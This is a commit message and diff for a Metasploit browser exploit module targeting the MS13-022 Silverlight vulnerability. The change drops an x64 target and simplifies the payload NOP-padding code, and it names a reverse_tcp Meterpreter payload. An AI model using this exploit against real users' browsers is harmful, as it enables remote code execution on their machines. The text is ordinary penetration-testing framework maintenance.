Drop ungenuine x64 support in ms13_022_silverlight_script_object

The MS13-022 exploit does not actually run as x64. IE by default
still runs x86 so BES will always automatically select that target.

If IE forces x64 (which can be done manually), the BES detection
code will see it as ARCH_X86_64, and the payload generator will
still end up generating a x86 payload anyway.

If the user actually chooses a x64 payload, such as
windows/x64/meterpreter/reverse_tcp, the exploit is going to crash
because you can't run x64 shellcode on an x86 architecture.

Author: wchen-r7

modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb

@@ -28,7 +28,7 @@ def initialize(info={})
         to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
         to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
         from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
-        SP3 / Windows 7 SP1 on both x32 and x64 architectures.
+        SP3 / Windows 7 SP1.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -55,7 +55,6 @@ def initialize(info={})
           'EXITFUNC'             => 'thread'
         },
       'Platform'       => 'win',
-      'Arch'           => [ARCH_X86, ARCH_X86_64],
       'BrowserRequirements' =>
         {
           :source      => /script|headers/i,
@@ -65,15 +64,10 @@ def initialize(info={})
         },
       'Targets'        =>
         [
-          [ 'Windows x86',
+          [ 'Windows x86/x64',
             {
               'arch' => ARCH_X86
             }
-          ],
-          [ 'Windows x64',
-            {
-              'arch' => ARCH_X86_64
-            }
           ]
         ],
       'Privileged'     => false,
@@ -96,10 +90,8 @@ def exploit_template(cli, target_info)
     my_payload = get_payload(cli, target_info)
 
     # Align to 4 bytes the x86 payload
-    if target_info[:arch] == ARCH_X86
-      while my_payload.length % 4 != 0
-        my_payload = "\x90" + my_payload
-      end
+    while my_payload.length % 4 != 0
+      my_payload = "\x90" + my_payload
     end
 
     my_payload = Rex::Text.encode_base64(my_payload)